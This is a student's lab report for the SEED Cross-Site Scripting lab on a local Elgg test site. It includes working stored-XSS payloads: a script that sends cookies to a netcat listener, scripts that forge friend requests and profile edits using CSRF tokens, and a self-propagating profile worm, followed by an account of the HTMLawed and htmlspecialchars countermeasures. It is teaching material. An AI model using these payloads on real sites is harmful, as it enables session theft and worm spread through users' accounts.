# Cross-Site Scripting Attack Lab ###### tags: `SUTD` `SEED Labs` `Network Security` `Lab` *Done by: Lin Huiqing (1003810)* Web view: https://hackmd.io/@ephemeral-instance/r1djIS-Hd ## Task 1: Posting a Malicious Message to Display an Alert Window The following short JavaScript Program is added to Alice's brief description field. ``` javascript <script>alert('alice is a lice')</script> ``` This is done as seen below. ![](https://i.imgur.com/18h2OiN.png) After Alice's brief description is saved, Alice navigating to her own profile would see the following. ![](https://i.imgur.com/TrSdBcD.png) As seen above, an alert pops up with the indicated message. Logged in as Boby, the alert can be seen too. This can be seen from the screenshot below. Note that Boby is logged in from the small icon on the top left corner. ![](https://i.imgur.com/PWLS0e2.png) From the observation that the alert can be viewed from the members page, it can be inferred that the brief descriptions of the different members are retrieved when the list of members is retrieved. ## Task 2: Posting a Malicious Message to Display Cookies The following script is added to Alice's brief description field: ``` javascript <script>alert(document.cookie);</script> ``` After Alice new brief description is saved, Alice is alerted of her own cookie when she visits her own profile as seen below. ![](https://i.imgur.com/KpmWef6.png) This applies to other users like Boby as well, as seen in the screenshot below. ![](https://i.imgur.com/xrCPIQ7.png) This means that any user who visits Alice's profile will have their cookie displayed to themselves as an alert. ## Task 3: Stealing Cookies from the Victim’s Machine On Alice's profile, the following is added to the brief description field: ``` javascript <script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script> ``` This sends a HTTP GET request to localhost `127.0.0.1` and port `5555`, with the parameter `c` containing the user's cookies. It does this through attempting to get an `img` from the host. Save the edits and logout of the account. In a new terminal, enter the following command to listen for connections through netcat. ``` shell nc -l 5555 -v ``` After logging into Boby's account and navigating to Alice's profile page, the terminal receives a connection as printed below. ![](https://i.imgur.com/5K2yfqr.png) From the response of the HTTP GET request sent, it can be seen that Boby's cookie is `Elgg=khttj9e80gpe6o24khk9cn9dg4`, as `%3D` is the ascii code for `=`. This means that Alice would have successfully stolen Boby's cookies. ## Task 4: Becoming the Victim’s Friend *Note: Refer to `task4.html` for the code for this task.* When Alice adds Boby as a friend, HTTP Header Live captures the following HTTP request (`Task4_Alice_add_Boby.txt`). ![](https://i.imgur.com/ceOtJDT.png) On the other hand, when Alice adds Samy as a friend, HTTP Header Live captures the following HTTP request (`Task4_Alice_add_Samy.txt`). ![](https://i.imgur.com/4xzbASw.png) From these captured requests, we can infer the fields which change depending on the account which the user wants to add as friend. The `friend` field indicates which account is added as a friend, and it can be seen that Samy has the guid of 47. As such, the following script (`task4.html`) can be written for any user to add Samy as a friend. ``` javascript <script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script> ``` This code is then added to Samy's profile. When any account, including Samy, navigates to Samy's profile, the browser will send a HTTP GET request. This can be captured by HTTP Header Live, an example of this when Alice visits Samy's profile is as shown below (`Task4_Alice_victim.txt`). ![](https://i.imgur.com/vbSslXU.png) After which, Samy is successfully added as Alice's friend as shown. ![](https://i.imgur.com/4WJxbWh.png) Any user who visits Samy's profile will experience the same. As seen, Alice, Boby and Samy all recently added Samy as a friend, and these are as a result of the script in Samy's profile. ![](https://i.imgur.com/mcyvdQM.png) > **Questions.** Please answer the following questions: > Question 1: Explain the purpose of Lines (1) and (2), why are they are needed? Lines (1) and (2) get the security and elgg tokens respectively. These lines are needed to get the secret tokens generated by the server and hidden on each page. Without these values, the attack would not succeed as they are required for any requests made on the page. These variables are part of a countermeasure to prevent Cross Site Request Forgery (CSRF) attacks. > Question 2: If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack? Yes, we can still use the other fields such as the brief description field to launch the attack. To overcome the character limitations, we can save the code in a separate script which is hosted on a website, then send a HTTP GET request to get and run the malicious script. If no other fields are present, we would not be able to launch a successful attack the same way. ## Task 5: Modifying the Victim’s Profile *Note: Refer to `task5_1.html` for the code for this part of the task.* To understand the HTTP request structure when editing a profile, we first edit Boby's profile, adding a "hey" in the description section. The request to edit Boby's profile is then saved captured on HTTP Header Live as seen below (`Task5_Boby_save_profile.txt`). ![](https://i.imgur.com/Eyxr5qk.png) This captured request provides us with a template request to model after. With that in mind, the following script (`task5_1.html`) is written. ``` javascript <script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName="&name="+elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var description="&description=#HackedByHuiqing But most of all, Samy is my hero"; var otherFields = "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" //Construct the content of your url. var content=token + ts + userName + description + otherFields + guid; var samyGuid=47; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script> ``` This script is then added to Samy's "About Me" section in his profile. When Alice visits Samy's profile, the following request packet can be captured by HTTP Header Live (`Task5_Samy_mod_Alice.txt`). ![](https://i.imgur.com/5dC9kiA.png) This packet basically sends a HTTP POST request to the server to edit Alice's profile, setting the description field as "#HackedByHuiqing But most of all, Samy is my hero". The effects of this can be seen on Alice's profile page after Alice visits Samy's profile page as seen below. ![](https://i.imgur.com/QtFUY9U.png) This works on Boby as well when Boby visits Samy's profile page, as seen below. ![](https://i.imgur.com/VuPkwGr.png) > **Questions.** Please answer the following questions: > Question 3: Why do we need Line (1)? Remove this line, and repeat your attack. Report and explain your observation. Line (1) is needed to differentiate between the attacker user and other users. If this line is not there (refer to code in `task5_2.html`), Samy's profile would be edited by his own script before it can affect other users. This is because when any edits to the profile is saved, the user will be directed to their profile page, and if there are no user checks, the script will be run to edit the same user's profile to remove the script. When `task5_2.html` is saved in the Samy's description field, Samy is redirected to his profile page, and the following request packet is captured by HTTP Header Live (`Task5_Samy_mod_Samy.txt`). ![](https://i.imgur.com/zGKQZDh.png) Upon refreshing, we can see that Samy's "About me" section in his profile page has been replaced by the attack message as shown below. ![](https://i.imgur.com/pB4Vh4U.png) When editing Samy's profile again, we can see that the previous script was replaced by the attack message. ![](https://i.imgur.com/bTEdTfj.png) Hence, the attack would not succeed without line (1). ## Task 6: Writing a Self-Propagating XSS Worm *Note: Refer to `task6.html` for the code for this part of the task.* > In this task, you need to implement such a worm, which not only modifies the victim’s profile and adds the user “Samy” as a friend, but also add a copy of the worm itself to the victim’s profile, so the victim is turned into an attacker. The following script is first added to Samy's profile to check for the output when `document.getElementById` is used. ``` javascript <script id=worm> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script> ``` After the script is saved in the "About me" section of Samy's profile, the following alert is then seen as Samy's profile page loads. ![](https://i.imgur.com/FMsVHaW.png) This means that when `document.getElementById` is used, the `script` tags are not included. Hence, the `headerTag` and `tailTag` variables are needed to concatenate the `script` tags for the browser to run the script. With this finding in mind, we can then weave in the code implemented in task 4 and 5 to create a self-propagating worm. This can be done as shown in the script below (`task6.html`). ``` javascript <script id=worm> window.onload = function(){ var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var descriptionContent = "#HackedByHuiqing But most of all, Samy is my hero" + encodeURIComponent(headerTag + jsCode + tailTag); //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName="&name="+elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var addFriendURL="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token; var description="&description=" + descriptionContent; var otherFields = "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" //Construct the content of your url. var content=token + ts + userName + description + otherFields + guid; var samyGuid=47; var editProfileURL = "http://www.xsslabelgg.com/action/profile/edit"; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",addFriendURL,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(); //Create and send Ajax request to modify profile Ajax=new XMLHttpRequest(); Ajax.open("POST",editProfileURL,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script> ``` After which, the script is saved in the HTML editor for the "About me" section on Samy's profile. When Alice is logged in and visits Samy, Alice is infected with the worm. Alice automatically adds Samy as a friend, and plaintext attack message is added to Alice's profile as shown below. ![](https://i.imgur.com/B6ztuww.png) The script is added to Alice's "About me" section as well as shown below. ![](https://i.imgur.com/3fZeFrx.png) After which, we test if the worm is self-propagating by logging into Boby's account instead and visiting Alice. After which, Boby is infected with the worm as well, as shown by evidence below. After visiting Alice's profile page, Boby automatically adds Samy as a friend, and displays the same injected plaintext as shown below. ![](https://i.imgur.com/CWRRjGa.png) The worm is added onto Boby's "About me" page as well. ![](https://i.imgur.com/PDtC7Yj.png) The adding of Samy as a friend can be seen from the "Activity" page as well, where it can be seen that both Alice and Boby have added Samy as a friend. ![](https://i.imgur.com/nhE0vRX.png) ## Task 7: Countermeasures > Once you know how to turn on these countermeasures, please do the following (Please do not change any other code and make sure that there are no syntax errors): > 1. Activate only the `HTMLawed` countermeasure but not `htmlspecialchars`; visit any of the victim profiles and describe your observations in your report. The attack no longer works. When a user navigates to a victim's profile page, HTTP Header Live does not capture any requests made. It can be seen that the javascript tags are filtered when processing the output. For Alice's profile, we can now see both the injected plaintext and the script as seen below. ![](https://i.imgur.com/6ttlSXU.png) However, when we check the visual editor of Alice's profile for the "About me" section, it seems to be the same as before, only displaying the plaintext message. ![](https://i.imgur.com/CDbhFy3.png) We see something similar for Boby's profile as seen below. ![](https://i.imgur.com/QDNfKgA.png) ![](https://i.imgur.com/cHUhZPH.png) These changes are observed as `htmLawed` has processed the HTML markup to be more compliant with HTML standards and administrative policies. It is interesting how this is only done when displaying the content in the output, and not when using the visual editor. > 2. Turn on both countermeasures; visit any of the victim profiles and describe your observation in your report. The attack does not work with these countermeasures in place. With the code used for the worm, we would not be able to see a difference with this additional counter measure. Thus, the script below is used instead to present the effect of `htmlspecialchars`. ``` javascript <script>alert('XSS')</script> ``` This script is added to Alice's profile in the "About me" section, and after the page is refreshed, the html is changed to look like the following. ![](https://i.imgur.com/55We2x0.png) As seen, the single quotation marks (`'`) are encoded to be `&#39;` instead.